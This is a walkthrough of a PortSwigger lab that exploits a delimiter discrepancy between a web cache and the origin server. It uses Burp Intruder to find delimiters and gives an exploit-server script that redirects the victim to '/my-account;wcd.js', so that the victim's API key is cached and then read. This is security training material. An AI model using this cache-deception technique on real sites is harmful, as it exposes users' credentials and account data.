Exploiting path delimiters for web cache deception

PortSwigger

Lab Description

This lab exploits path delimiter discrepancies between the cache and origin server to access a > user’s sensitive API key.

Objective: Find the API key for the user carlos.

Credentials: wiener:peter

Provided delimiter list: ;, ?, #, &, etc.

---

---

Step 1: Identify the Target Endpoint

1. Log in as wiener:peter
2. Open GET /my-account in Burp Proxy

3. Notice the response contains your API key

---

Step 2: Test Arbitrary Segment

1. Send GET /my-account to Repeater
2. Add an arbitrary segment: /my-account/abc
   • Returns 404 Not Found → Origin server does not abstract the path
3. Test without slash: /my-accountabc
   • Returns 404 Not Found → Reference response for Intruder

---

Step 3: Identify Delimiters Using Intruder

1. Send /my-account§§abc to Intruder (Sniper attack)
2. In the Payloads section, add the list of delimiter characters (from the provided list)
3. Deselect URL-encode these characters
4. Start the attack

Results:

Character	Status	Meaning
;	200	Origin uses ; as delimiter
?	200	Origin uses ? as delimiter
All others	404	Not delimiters

Origin server uses ; and ? as path delimiters.

---

Step 4: Test Delimiter Discrepancy

Test ? delimiter:

GET /my-account?abc.js HTTP/1.1

• No X-Cache headers →> Cache uses ? as delimiter too

Test ; delimiter:

GET /my-account;abc.js HTTP/1.1

• Response contains X-Cache: miss (first request)
• Resend → X-Cache: hit (cached)

Conclusion:

• Origin server uses ; as delimiter → /my-account;abc.js → /my-account
• Cache does not use ; as delimiter → treats it as a static .js file

---

Step 5: Craft the Exploit

1. Go to the Exploit server
2. In the Body section, paste:

<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account;wcd.js"
</script>

Why ;wcd.js:

• ; is the delimiter that only the origin server recognizes
• Unique path segment (wcd) ensures a fresh cache entry
• .js extension triggers the cache rule

---

Step 6: Deliver the Exploit

1. Click Deliver exploit to victim
2. The victim visits the exploit → navigates to /my-account;wcd.js
3. Origin server returns Carlos’s account page (with API key)
4. Cache stores the response as a static .js file

---

Step 7: Retrieve the Cached Response

1. In your browser, visit:

https://YOUR-LAB-ID.web-security-academy.net/my-account;wcd.js

2. Copy Carlos’s API key from the response

---

Step 8: Submit the Solution

1. Go back to the lab page
2. Click Submit solution
3. Paste Carlos’s API key
4. Click Submit

---

Step 9: Lab Solved

---

---